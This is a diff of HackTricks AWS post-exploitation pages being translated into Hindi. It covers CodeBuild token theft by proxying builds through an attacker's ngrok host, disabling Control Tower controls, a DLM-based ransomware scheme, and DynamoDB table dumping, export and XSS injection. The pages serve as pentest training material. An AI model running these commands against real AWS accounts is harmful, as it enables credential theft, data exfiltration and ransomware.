+- जैसा कि **Github repo** में संकेतित किया गया है, आप कुछ ऐसा उपयोग कर सकते हैं:
```bash
mitmproxy --listen-port 4444 --allow-hosts "github.com"
```
-
> [!TIP]
-> The **mitmproxy version used was 9.0.1**, it was reported that with version 10 this might not work.
+> **mitmproxy संस्करण 9.0.1 का उपयोग किया गया था**, रिपोर्ट किया गया था कि संस्करण 10 के साथ यह काम नहीं कर सकता।
-4. **Run the build & capture the credentials**
+4. **बिल्ड चलाएँ और क्रेडेंशियल्स कैप्चर करें**
-- You can see the token in the **Authorization** header:
+- आप **Authorization** हेडर में टोकन देख सकते हैं:
-
-
-This could also be done from the aws cli with something like
+
+यह aws cli से कुछ इस तरह भी किया जा सकता है
```bash
# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
## With /tmp/buildspec.json
{
- "name": "my-demo-project",
- "source": {
- "type": "GITHUB",
- "location": "https://github.com/uname/repo",
- "buildspec": "buildspec.yml"
- },
- "artifacts": {
- "type": "NO_ARTIFACTS"
- },
- "environment": {
- "type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
- "image": "docker.io/carlospolop/docker-mitm:v12",
- "computeType": "BUILD_GENERAL1_SMALL",
- "imagePullCredentialsType": "CODEBUILD"
- }
+"name": "my-demo-project",
+"source": {
+"type": "GITHUB",
+"location": "https://github.com/uname/repo",
+"buildspec": "buildspec.yml"
+},
+"artifacts": {
+"type": "NO_ARTIFACTS"
+},
+"environment": {
+"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
+"image": "docker.io/carlospolop/docker-mitm:v12",
+"computeType": "BUILD_GENERAL1_SMALL",
+"imagePullCredentialsType": "CODEBUILD"
+}
}
## Json
@@ -76,117 +71,102 @@ aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
# Start the build
aws codebuild start-build --project-name my-project2
```
-
### Via insecureSSL
-**Codebuild** projects have a setting called **`insecureSsl`** that is hidden in the web you can only change it from the API.\
-Enabling this, allows to Codebuild to connect to the repository **without checking the certificate** offered by the platform.
-
-- First you need to enumerate the current configuration with something like:
+**Codebuild** प्रोजेक्ट्स में एक सेटिंग होती है जिसे **`insecureSsl`** कहा जाता है जो वेब में छिपी होती है, आप इसे केवल API से बदल सकते हैं।\
+इसे सक्षम करने से, Codebuild को प्लेटफॉर्म द्वारा प्रदान किए गए प्रमाणपत्र की **जांच किए बिना** रिपॉजिटरी से कनेक्ट करने की अनुमति मिलती है।
+- सबसे पहले, आपको वर्तमान कॉन्फ़िगरेशन को कुछ इस तरह से सूचीबद्ध करने की आवश्यकता है:
```bash
aws codebuild batch-get-projects --name
```
-
-- Then, with the gathered info you can update the project setting **`insecureSsl`** to **`True`**. The following is an example of my updating a project, notice the **`insecureSsl=True`** at the end (this is the only thing you need to change from the gathered configuration).
- - Moreover, add also the env variables **http_proxy** and **https_proxy** pointing to your tcp ngrok like:
-
+- फिर, एकत्रित जानकारी के साथ आप प्रोजेक्ट सेटिंग **`insecureSsl`** को **`True`** में अपडेट कर सकते हैं। निम्नलिखित मेरे प्रोजेक्ट को अपडेट करने का एक उदाहरण है, अंत में **`insecureSsl=True`** पर ध्यान दें (यह एकमात्र चीज है जिसे आपको एकत्रित कॉन्फ़िगरेशन से बदलने की आवश्यकता है)।
+- इसके अलावा, env वेरिएबल **http_proxy** और **https_proxy** को अपने tcp ngrok की ओर इंगित करते हुए जोड़ें जैसे:
```bash
aws codebuild update-project --name \
- --source '{
- "type": "GITHUB",
- "location": "https://github.com/carlospolop/404checker",
- "gitCloneDepth": 1,
- "gitSubmodulesConfig": {
- "fetchSubmodules": false
- },
- "buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - echo \"sad\"\n",
- "auth": {
- "type": "CODECONNECTIONS",
- "resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
- },
- "reportBuildStatus": false,
- "insecureSsl": true
- }' \
- --environment '{
- "type": "LINUX_CONTAINER",
- "image": "aws/codebuild/standard:5.0",
- "computeType": "BUILD_GENERAL1_SMALL",
- "environmentVariables": [
- {
- "name": "http_proxy",
- "value": "http://2.tcp.eu.ngrok.io:15027"
- },
- {
- "name": "https_proxy",
- "value": "http://2.tcp.eu.ngrok.io:15027"
- }
- ]
- }'
+--source '{
+"type": "GITHUB",
+"location": "https://github.com/carlospolop/404checker",
+"gitCloneDepth": 1,
+"gitSubmodulesConfig": {
+"fetchSubmodules": false
+},
+"buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - echo \"sad\"\n",
+"auth": {
+"type": "CODECONNECTIONS",
+"resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
+},
+"reportBuildStatus": false,
+"insecureSsl": true
+}' \
+--environment '{
+"type": "LINUX_CONTAINER",
+"image": "aws/codebuild/standard:5.0",
+"computeType": "BUILD_GENERAL1_SMALL",
+"environmentVariables": [
+{
+"name": "http_proxy",
+"value": "http://2.tcp.eu.ngrok.io:15027"
+},
+{
+"name": "https_proxy",
+"value": "http://2.tcp.eu.ngrok.io:15027"
+}
+]
+}'
```
-
-- Then, run the basic example from [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) in the port pointed by the proxy variables (http_proxy and https_proxy)
-
+- फिर, प्रॉक्सी वेरिएबल्स (http_proxy और https_proxy) द्वारा इंगित पोर्ट में [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) से बुनियादी उदाहरण चलाएँ।
```python
from mitm import MITM, protocol, middleware, crypto
mitm = MITM(
- host="127.0.0.1",
- port=4444,
- protocols=[protocol.HTTP],
- middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
- certificate_authority = crypto.CertificateAuthority()
+host="127.0.0.1",
+port=4444,
+protocols=[protocol.HTTP],
+middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
+certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
-
-- Finally, click on **Build the project**, the **credentials** will be **sent in clear text** (base64) to the mitm port:
+- अंत में, **प्रोजेक्ट बनाएं** पर क्लिक करें, **क्रेडेंशियल्स** **स्पष्ट पाठ** (base64) में mitm पोर्ट पर **भेजे जाएंगे**:
-### ~~Via HTTP protocol~~
+### ~~HTTP प्रोटोकॉल के माध्यम से~~
-> [!TIP] > **This vulnerability was corrected by AWS at some point the week of the 20th of Feb of 2023 (I think on Friday). So an attacker can't abuse it anymore :)**
+> [!TIP] > **यह कमजोरियों को AWS ने 20 फरवरी 2023 के सप्ताह में किसी समय (मुझे लगता है कि शुक्रवार को) ठीक किया। इसलिए एक हमलावर इसका दुरुपयोग नहीं कर सकता :)**
-An attacker with **elevated permissions in over a CodeBuild could leak the Github/Bitbucket token** configured or if permissions was configured via OAuth, the **temporary OAuth token used to access the code**.
+एक हमलावर जिसके पास **CodeBuild में उच्च अनुमतियाँ हैं, वह Github/Bitbucket टोकन** लीक कर सकता है जो कॉन्फ़िगर किया गया है या यदि अनुमतियाँ OAuth के माध्यम से कॉन्फ़िगर की गई हैं, तो **कोड तक पहुँचने के लिए उपयोग किया जाने वाला अस्थायी OAuth टोकन**।
-- An attacker could add the environment variables **http_proxy** and **https_proxy** to the CodeBuild project pointing to his machine (for example `http://5.tcp.eu.ngrok.io:14972`).
+- एक हमलावर **http_proxy** और **https_proxy** पर्यावरण चर को CodeBuild प्रोजेक्ट में जोड़ सकता है जो उसकी मशीन की ओर इशारा करता है (उदाहरण के लिए `http://5.tcp.eu.ngrok.io:14972`)।
-- Then, change the URL of the github repo to use HTTP instead of HTTPS, for example: `http://github.com/carlospolop-forks/TestActions`
-- Then, run the basic example from [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) in the port pointed by the proxy variables (http_proxy and https_proxy)
-
+- फिर, गिटहब रेपो का URL HTTP का उपयोग करने के लिए बदलें, HTTPS के बजाय, उदाहरण के लिए: `http://github.com/carlospolop-forks/TestActions`
+- फिर, प्रॉक्सी चर (http_proxy और https_proxy) द्वारा इंगित पोर्ट में [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) से बुनियादी उदाहरण चलाएं।
```python
from mitm import MITM, protocol, middleware, crypto
mitm = MITM(
- host="0.0.0.0",
- port=4444,
- protocols=[protocol.HTTP],
- middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
- certificate_authority = crypto.CertificateAuthority()
+host="0.0.0.0",
+port=4444,
+protocols=[protocol.HTTP],
+middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
+certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
-
-- Next, click on **Build the project** or start the build from command line:
-
+- अगला, **प्रोजेक्ट का निर्माण करें** पर क्लिक करें या कमांड लाइन से निर्माण शुरू करें:
```sh
aws codebuild start-build --project-name
```
-
-- Finally, the **credentials** will be **sent in clear text** (base64) to the mitm port:
+- अंत में, **प्रमाण पत्र** **स्पष्ट पाठ** (base64) में mitm पोर्ट पर **भेजे जाएंगे**:
> [!WARNING]
-> Now an attacker will be able to use the token from his machine, list all the privileges it has and (ab)use easier than using the CodeBuild service directly.
+> अब एक हमलावर अपने मशीन से टोकन का उपयोग कर सकेगा, सभी विशेषाधिकारों की सूची बना सकेगा और (दुरुपयोग) कोडबिल्ड सेवा का सीधे उपयोग करने की तुलना में अधिक आसानी से कर सकेगा।
{{#include ../../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md
index f1c6fb394..76b2ec88b 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md
@@ -8,17 +8,11 @@
../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md
{{#endref}}
-### Enable / Disable Controls
-
-To further exploit an account, you might need to disable/enable Control Tower controls:
+### नियंत्रण सक्षम करें / अक्षम करें
+एक खाते का और अधिक शोषण करने के लिए, आपको Control Tower नियंत्रणों को अक्षम/सक्षम करने की आवश्यकता हो सकती है:
```bash
aws controltower disable-control --control-identifier --target-identifier
aws controltower enable-control --control-identifier --target-identifier
```
-
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md
index baa309e53..ec4449a0a 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md
@@ -2,98 +2,90 @@
{{#include ../../../banners/hacktricks-training.md}}
-## Data Lifecycle Manger (DLM)
+## डेटा लाइफसाइकिल प्रबंधक (DLM)
### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy`
-A ransomware attack can be executed by encrypting as many EBS volumes as possible and then erasing the current EC2 instances, EBS volumes, and snapshots. To automate this malicious activity, one can employ Amazon DLM, encrypting the snapshots with a KMS key from another AWS account and transferring the encrypted snapshots to a different account. Alternatively, they might transfer snapshots without encryption to an account they manage and then encrypt them there. Although it's not straightforward to encrypt existing EBS volumes or snapshots directly, it's possible to do so by creating a new volume or snapshot.
+एक रैनसमवेयर हमला तब किया जा सकता है जब जितने संभव हो सके EBS वॉल्यूम को एन्क्रिप्ट किया जाए और फिर वर्तमान EC2 इंस्टेंस, EBS वॉल्यूम और स्नैपशॉट को मिटा दिया जाए। इस दुर्भावनापूर्ण गतिविधि को स्वचालित करने के लिए, कोई Amazon DLM का उपयोग कर सकता है, स्नैपशॉट को दूसरे AWS खाते से KMS कुंजी के साथ एन्क्रिप्ट करके और एन्क्रिप्टेड स्नैपशॉट को एक अलग खाते में स्थानांतरित करके। वैकल्पिक रूप से, वे बिना एन्क्रिप्शन के स्नैपशॉट को एक ऐसे खाते में स्थानांतरित कर सकते हैं जिसे वे प्रबंधित करते हैं और फिर वहां उन्हें एन्क्रिप्ट कर सकते हैं। हालांकि मौजूदा EBS वॉल्यूम या स्नैपशॉट को सीधे एन्क्रिप्ट करना सीधा नहीं है, लेकिन एक नया वॉल्यूम या स्नैपशॉट बनाकर ऐसा करना संभव है।
-Firstly, one will use a command to gather information on volumes, such as instance ID, volume ID, encryption status, attachment status, and volume type.
+सबसे पहले, कोई वॉल्यूम के बारे में जानकारी इकट्ठा करने के लिए एक कमांड का उपयोग करेगा, जैसे कि इंस्टेंस ID, वॉल्यूम ID, एन्क्रिप्शन स्थिति, अटैचमेंट स्थिति, और वॉल्यूम प्रकार।
`aws ec2 describe-volumes`
-Secondly, one will create the lifecycle policy. This command employs the DLM API to set up a lifecycle policy that automatically takes daily snapshots of specified volumes at a designated time. It also applies specific tags to the snapshots and copies tags from the volumes to the snapshots. The policyDetails.json file includes the lifecycle policy's specifics, such as target tags, schedule, the ARN of the optional KMS key for encryption, and the target account for snapshot sharing, which will be recorded in the victim's CloudTrail logs.
-
+दूसरे, कोई लाइफसाइकिल नीति बनाएगा। यह कमांड DLM API का उपयोग करके एक लाइफसाइकिल नीति स्थापित करता है जो निर्दिष्ट वॉल्यूम के दैनिक स्नैपशॉट को एक निर्धारित समय पर स्वचालित रूप से लेता है। यह स्नैपशॉट पर विशिष्ट टैग भी लागू करता है और वॉल्यूम से स्नैपशॉट पर टैग की नकल करता है। policyDetails.json फ़ाइल में लाइफसाइकिल नीति के विवरण शामिल हैं, जैसे लक्षित टैग, कार्यक्रम, एन्क्रिप्शन के लिए वैकल्पिक KMS कुंजी का ARN, और स्नैपशॉट साझा करने के लिए लक्षित खाता, जिसे पीड़ित के CloudTrail लॉग में रिकॉर्ड किया जाएगा।
```bash
aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json
```
-
-A template for the policy document can be seen here:
-
+नीति दस्तावेज़ के लिए एक टेम्पलेट यहाँ देखा जा सकता है:
```bash
{
- "PolicyType": "EBS_SNAPSHOT_MANAGEMENT",
- "ResourceTypes": [
- "VOLUME"
- ],
- "TargetTags": [
- {
- "Key": "ExampleKey",
- "Value": "ExampleValue"
- }
- ],
- "Schedules": [
- {
- "Name": "DailySnapshots",
- "CopyTags": true,
- "TagsToAdd": [
- {
- "Key": "SnapshotCreator",
- "Value": "DLM"
- }
- ],
- "VariableTags": [
- {
- "Key": "CostCenter",
- "Value": "Finance"
- }
- ],
- "CreateRule": {
- "Interval": 24,
- "IntervalUnit": "HOURS",
- "Times": [
- "03:00"
- ]
- },
- "RetainRule": {
- "Count": 14
- },
- "FastRestoreRule": {
- "Count": 2,
- "Interval": 12,
- "IntervalUnit": "HOURS"
- },
- "CrossRegionCopyRules": [
- {
- "TargetRegion": "us-west-2",
- "Encrypted": true,
- "CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id",
- "CopyTags": true,
- "RetainRule": {
- "Interval": 1,
- "IntervalUnit": "DAYS"
- }
- }
- ],
- "ShareRules": [
- {
- "TargetAccounts": [
- "123456789012"
- ],
- "UnshareInterval": 30,
- "UnshareIntervalUnit": "DAYS"
- }
- ]
- }
- ],
- "Parameters": {
- "ExcludeBootVolume": false
- }
+"PolicyType": "EBS_SNAPSHOT_MANAGEMENT",
+"ResourceTypes": [
+"VOLUME"
+],
+"TargetTags": [
+{
+"Key": "ExampleKey",
+"Value": "ExampleValue"
+}
+],
+"Schedules": [
+{
+"Name": "DailySnapshots",
+"CopyTags": true,
+"TagsToAdd": [
+{
+"Key": "SnapshotCreator",
+"Value": "DLM"
+}
+],
+"VariableTags": [
+{
+"Key": "CostCenter",
+"Value": "Finance"
+}
+],
+"CreateRule": {
+"Interval": 24,
+"IntervalUnit": "HOURS",
+"Times": [
+"03:00"
+]
+},
+"RetainRule": {
+"Count": 14
+},
+"FastRestoreRule": {
+"Count": 2,
+"Interval": 12,
+"IntervalUnit": "HOURS"
+},
+"CrossRegionCopyRules": [
+{
+"TargetRegion": "us-west-2",
+"Encrypted": true,
+"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id",
+"CopyTags": true,
+"RetainRule": {
+"Interval": 1,
+"IntervalUnit": "DAYS"
+}
+}
+],
+"ShareRules": [
+{
+"TargetAccounts": [
+"123456789012"
+],
+"UnshareInterval": 30,
+"UnshareIntervalUnit": "DAYS"
+}
+]
+}
+],
+"Parameters": {
+"ExcludeBootVolume": false
+}
}
```
-
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md
index d63689d9e..b1b0084a4 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md
@@ -1,10 +1,10 @@
-# AWS - DynamoDB Post Exploitation
+# AWS - DynamoDB पोस्ट एक्सप्लोइटेशन
{{#include ../../../banners/hacktricks-training.md}}
## DynamoDB
-For more information check:
+अधिक जानकारी के लिए देखें:
{{#ref}}
../aws-services/aws-dynamodb-enum.md
@@ -12,342 +12,292 @@ For more information check:
### `dynamodb:BatchGetItem`
-An attacker with this permissions will be able to **get items from tables by the primary key** (you cannot just ask for all the data of the table). This means that you need to know the primary keys (you can get this by getting the table metadata (`describe-table`).
+इस अनुमति के साथ एक हमलावर **प्राथमिक कुंजी द्वारा तालिकाओं से आइटम प्राप्त करने में सक्षम होगा** (आप तालिका के सभी डेटा के लिए बस नहीं पूछ सकते)। इसका मतलब है कि आपको प्राथमिक कुंजी जानने की आवश्यकता है (आप इसे तालिका के मेटाडेटा (`describe-table`) प्राप्त करके प्राप्त कर सकते हैं)।
{{#tabs }}
{{#tab name="json file" }}
-
```bash
aws dynamodb batch-get-item --request-items file:///tmp/a.json
// With a.json
{
- "ProductCatalog" : { // This is the table name
- "Keys": [
- {
- "Id" : { // Primary keys name
- "N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those
- }
- }
- ]
- }
+"ProductCatalog" : { // This is the table name
+"Keys": [
+{
+"Id" : { // Primary keys name
+"N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those
+}
+}
+]
+}
}
```
-
{{#endtab }}
{{#tab name="inline" }}
-
```bash
aws dynamodb batch-get-item \
- --request-items '{"TargetTable": {"Keys": [{"Id": {"S": "item1"}}, {"Id": {"S": "item2"}}]}}' \
- --region
+--request-items '{"TargetTable": {"Keys": [{"Id": {"S": "item1"}}, {"Id": {"S": "item2"}}]}}' \
+--region
```
-
{{#endtab }}
{{#endtabs }}
-**Potential Impact:** Indirect privesc by locating sensitive information in the table
+**संभावित प्रभाव:** तालिका में संवेदनशील जानकारी को खोजकर अप्रत्यक्ष प्रिवेस्क
### `dynamodb:GetItem`
-**Similar to the previous permissions** this one allows a potential attacker to read values from just 1 table given the primary key of the entry to retrieve:
-
+**पिछले अनुमतियों के समान** यह एक संभावित हमलावर को केवल 1 तालिका से मान पढ़ने की अनुमति देता है, जो कि पुनः प्राप्त करने के लिए प्रविष्टि की प्राथमिक कुंजी दी गई है:
```json
aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
// With a.json
{
"Id" : {
- "N": "205"
+"N": "205"
}
}
```
-
-With this permission it's also possible to use the **`transact-get-items`** method like:
-
+इस अनुमति के साथ **`transact-get-items`** विधि का उपयोग करना भी संभव है:
```json
aws dynamodb transact-get-items \
- --transact-items file:///tmp/a.json
+--transact-items file:///tmp/a.json
// With a.json
[
- {
- "Get": {
- "Key": {
- "Id": {"N": "205"}
- },
- "TableName": "ProductCatalog"
- }
- }
+{
+"Get": {
+"Key": {
+"Id": {"N": "205"}
+},
+"TableName": "ProductCatalog"
+}
+}
]
```
-
-**Potential Impact:** Indirect privesc by locating sensitive information in the table
+**संभावित प्रभाव:** तालिका में संवेदनशील जानकारी को खोजकर अप्रत्यक्ष प्रिवेस्क
### `dynamodb:Query`
-**Similar to the previous permissions** this one allows a potential attacker to read values from just 1 table given the primary key of the entry to retrieve. It allows to use a [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), but the only comparison allowed with the primary key (that must appear) is "EQ", so you cannot use a comparison to get the whole DB in a request.
+**पिछले अनुमतियों के समान** यह एक संभावित हमलावर को केवल 1 तालिका से मान पढ़ने की अनुमति देता है, जो कि पुनर्प्राप्त करने के लिए प्रविष्टि की प्राथमिक कुंजी दी गई है। यह [तुलनाओं का एक उपसमुच्चय](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html) उपयोग करने की अनुमति देता है, लेकिन प्राथमिक कुंजी के साथ केवल "EQ" की तुलना की अनुमति है (जो कि उपस्थित होनी चाहिए), इसलिए आप एक अनुरोध में पूरे DB को प्राप्त करने के लिए तुलना का उपयोग नहीं कर सकते।
{{#tabs }}
{{#tab name="json file" }}
-
```bash
aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json
- // With a.json
- {
+// With a.json
+{
"Id" : {
- "ComparisonOperator":"EQ",
- "AttributeValueList": [ {"N": "205"} ]
- }
+"ComparisonOperator":"EQ",
+"AttributeValueList": [ {"N": "205"} ]
+}
}
```
-
{{#endtab }}
{{#tab name="inline" }}
-
```bash
aws dynamodb query \
- --table-name TargetTable \
- --key-condition-expression "AttributeName = :value" \
- --expression-attribute-values '{":value":{"S":"TargetValue"}}' \
- --region
+--table-name TargetTable \
+--key-condition-expression "AttributeName = :value" \
+--expression-attribute-values '{":value":{"S":"TargetValue"}}' \
+--region
```
-
{{#endtab }}
{{#endtabs }}
-**Potential Impact:** Indirect privesc by locating sensitive information in the table
+**संभावित प्रभाव:** तालिका में संवेदनशील जानकारी को खोजकर अप्रत्यक्ष प्रिवेस्क
### `dynamodb:Scan`
-You can use this permission to **dump the entire table easily**.
-
+आप इस अनुमति का उपयोग करके **पूरी तालिका को आसानी से डंप कर सकते हैं**।
```bash
aws dynamodb scan --table-name #Get data inside the table
```
-
-**Potential Impact:** Indirect privesc by locating sensitive information in the table
+**संभावित प्रभाव:** तालिका में संवेदनशील जानकारी का पता लगाकर अप्रत्यक्ष प्रिवेस्क
### `dynamodb:PartiQLSelect`
-You can use this permission to **dump the entire table easily**.
-
+आप इस अनुमति का उपयोग **पूरी तालिका को आसानी से डंप करने** के लिए कर सकते हैं।
```bash
aws dynamodb execute-statement \
- --statement "SELECT * FROM ProductCatalog"
+--statement "SELECT * FROM ProductCatalog"
```
-
-This permission also allow to perform `batch-execute-statement` like:
-
+यह अनुमति `batch-execute-statement` करने की भी अनुमति देती है जैसे:
```bash
aws dynamodb batch-execute-statement \
- --statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
+--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
```
+लेकिन आपको एक मान के साथ प्राथमिक कुंजी निर्दिष्ट करने की आवश्यकता है, इसलिए यह इतना उपयोगी नहीं है।
-but you need to specify the primary key with a value, so it isn't that useful.
-
-**Potential Impact:** Indirect privesc by locating sensitive information in the table
+**संभावित प्रभाव:** तालिका में संवेदनशील जानकारी को खोजकर अप्रत्यक्ष प्रिवेस्क
### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)`
-This permission will allow an attacker to **export the whole table to a S3 bucket** of his election:
-
+यह अनुमति एक हमलावर को **पूरी तालिका को उसके चयन के S3 बकेट में निर्यात** करने की अनुमति देगी:
```bash
aws dynamodb export-table-to-point-in-time \
- --table-arn arn:aws:dynamodb:::table/TargetTable \
- --s3-bucket \
- --s3-prefix \
- --export-time \
- --region
+--table-arn arn:aws:dynamodb:::table/TargetTable \
+--s3-bucket \
+--s3-prefix \
+--export-time \
+--region
```
-
-Note that for this to work the table needs to have point-in-time-recovery enabled, you can check if the table has it with:
-
+ध्यान दें कि इसके काम करने के लिए तालिका में point-in-time-recovery सक्षम होना चाहिए, आप यह जांच सकते हैं कि तालिका में यह है या नहीं:
```bash
aws dynamodb describe-continuous-backups \
- --table-name
+--table-name
```
-
-If it isn't enabled, you will need to **enable it** and for that you need the **`dynamodb:ExportTableToPointInTime`** permission:
-
+यदि यह सक्षम नहीं है, तो आपको **इसे सक्षम करना होगा** और इसके लिए आपको **`dynamodb:ExportTableToPointInTime`** अनुमति की आवश्यकता है:
```bash
aws dynamodb update-continuous-backups \
- --table-name \
- --point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
+--table-name \
+--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
```
-
-**Potential Impact:** Indirect privesc by locating sensitive information in the table
+**संभावित प्रभाव:** तालिका में संवेदनशील जानकारी का पता लगाकर अप्रत्यक्ष प्रिवेस्क
### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
-With these permissions, an attacker would be able to **create a new table from a backup** (or even create a backup to then restore it in a different table). Then, with the necessary permissions, he would be able to check **information** from the backups that c**ould not be any more in the production** table.
-
+इन अनुमतियों के साथ, एक हमलावर **बैकअप से एक नई तालिका बना** सकेगा (या यहां तक कि एक बैकअप बना सकेगा जिसे फिर एक अलग तालिका में पुनर्स्थापित किया जा सके)। फिर, आवश्यक अनुमतियों के साथ, वह **जानकारी** की जांच कर सकेगा जो **उत्पादन** तालिका में और नहीं हो सकती।
```bash
aws dynamodb restore-table-from-backup \
- --backup-arn \
- --target-table-name \
- --region
+--backup-arn \
+--target-table-name \
+--region
```
-
-**Potential Impact:** Indirect privesc by locating sensitive information in the table backup
+**संभावित प्रभाव:** तालिका बैकअप में संवेदनशील जानकारी का पता लगाकर अप्रत्यक्ष प्रिवेस्क
### `dynamodb:PutItem`
-This permission allows users to add a **new item to the table or replace an existing item** with a new item. If an item with the same primary key already exists, the **entire item will be replaced** with the new item. If the primary key does not exist, a new item with the specified primary key will be **created**.
+यह अनुमति उपयोगकर्ताओं को **तालिका में एक नया आइटम जोड़ने या एक मौजूदा आइटम को नए आइटम से बदलने** की अनुमति देती है। यदि समान प्राथमिक कुंजी वाला एक आइटम पहले से मौजूद है, तो **पूरा आइटम नए आइटम से बदल दिया जाएगा**। यदि प्राथमिक कुंजी मौजूद नहीं है, तो निर्दिष्ट प्राथमिक कुंजी के साथ एक नया आइटम **बनाया जाएगा**।
{{#tabs }}
{{#tab name="XSS Example" }}
-
```bash
## Create new item with XSS payload
aws dynamodb put-item --table --item file://add.json
### With add.json:
{
- "Id": {
- "S": "1000"
- },
- "Name": {
- "S": "Marc"
- },
- "Description": {
- "S": ""
- }
+"Id": {
+"S": "1000"
+},
+"Name": {
+"S": "Marc"
+},
+"Description": {
+"S": ""
+}
}
```
-
{{#endtab }}
{{#tab name="AI Example" }}
-
```bash
aws dynamodb put-item \
- --table-name ExampleTable \
- --item '{"Id": {"S": "1"}, "Attribute1": {"S": "Value1"}, "Attribute2": {"S": "Value2"}}' \
- --region
+--table-name ExampleTable \
+--item '{"Id": {"S": "1"}, "Attribute1": {"S": "Value1"}, "Attribute2": {"S": "Value2"}}' \
+--region
```
-
{{#endtab }}
{{#endtabs }}
-**Potential Impact:** Exploitation of further vulnerabilities/bypasses by being able to add/modify data in a DynamoDB table
+**संभावित प्रभाव:** DynamoDB तालिका में डेटा जोड़ने/संशोधित करने में सक्षम होने के कारण आगे की कमजोरियों/बायपास का शोषण
### `dynamodb:UpdateItem`
-This permission allows users to **modify the existing attributes of an item or add new attributes to an item**. It does **not replace** the entire item; it only updates the specified attributes. If the primary key does not exist in the table, the operation will **create a new item** with the specified primary key and set the attributes specified in the update expression.
+यह अनुमति उपयोगकर्ताओं को **एक आइटम के मौजूदा गुणों को संशोधित करने या एक आइटम में नए गुण जोड़ने** की अनुमति देती है। यह **पूरे आइटम को प्रतिस्थापित** नहीं करती; यह केवल निर्दिष्ट गुणों को अपडेट करती है। यदि प्राथमिक कुंजी तालिका में मौजूद नहीं है, तो यह क्रिया **निर्दिष्ट प्राथमिक कुंजी के साथ एक नया आइटम बनाएगी** और अपडेट अभिव्यक्ति में निर्दिष्ट गुणों को सेट करेगी।
{{#tabs }}
{{#tab name="XSS Example" }}
-
```bash
## Update item with XSS payload
aws dynamodb update-item --table \
- --key file://key.json --update-expression "SET Description = :value" \
- --expression-attribute-values file://val.json
+--key file://key.json --update-expression "SET Description = :value" \
+--expression-attribute-values file://val.json
### With key.json:
{
- "Id": {
- "S": "1000"
- }
+"Id": {
+"S": "1000"
+}
}
### and val.json
{
- ":value": {
- "S": ""
- }
+":value": {
+"S": ""
+}
}
```
-
{{#endtab }}
{{#tab name="AI Example" }}
-
```bash
aws dynamodb update-item \
- --table-name ExampleTable \
- --key '{"Id": {"S": "1"}}' \
- --update-expression "SET Attribute1 = :val1, Attribute2 = :val2" \
- --expression-attribute-values '{":val1": {"S": "NewValue1"}, ":val2": {"S": "NewValue2"}}' \
- --region
+--table-name ExampleTable \
+--key '{"Id": {"S": "1"}}' \
+--update-expression "SET Attribute1 = :val1, Attribute2 = :val2" \
+--expression-attribute-values '{":val1": {"S": "NewValue1"}, ":val2": {"S": "NewValue2"}}' \
+--region
```
-
{{#endtab }}
{{#endtabs }}
-**Potential Impact:** Exploitation of further vulnerabilities/bypasses by being able to add/modify data in a DynamoDB table
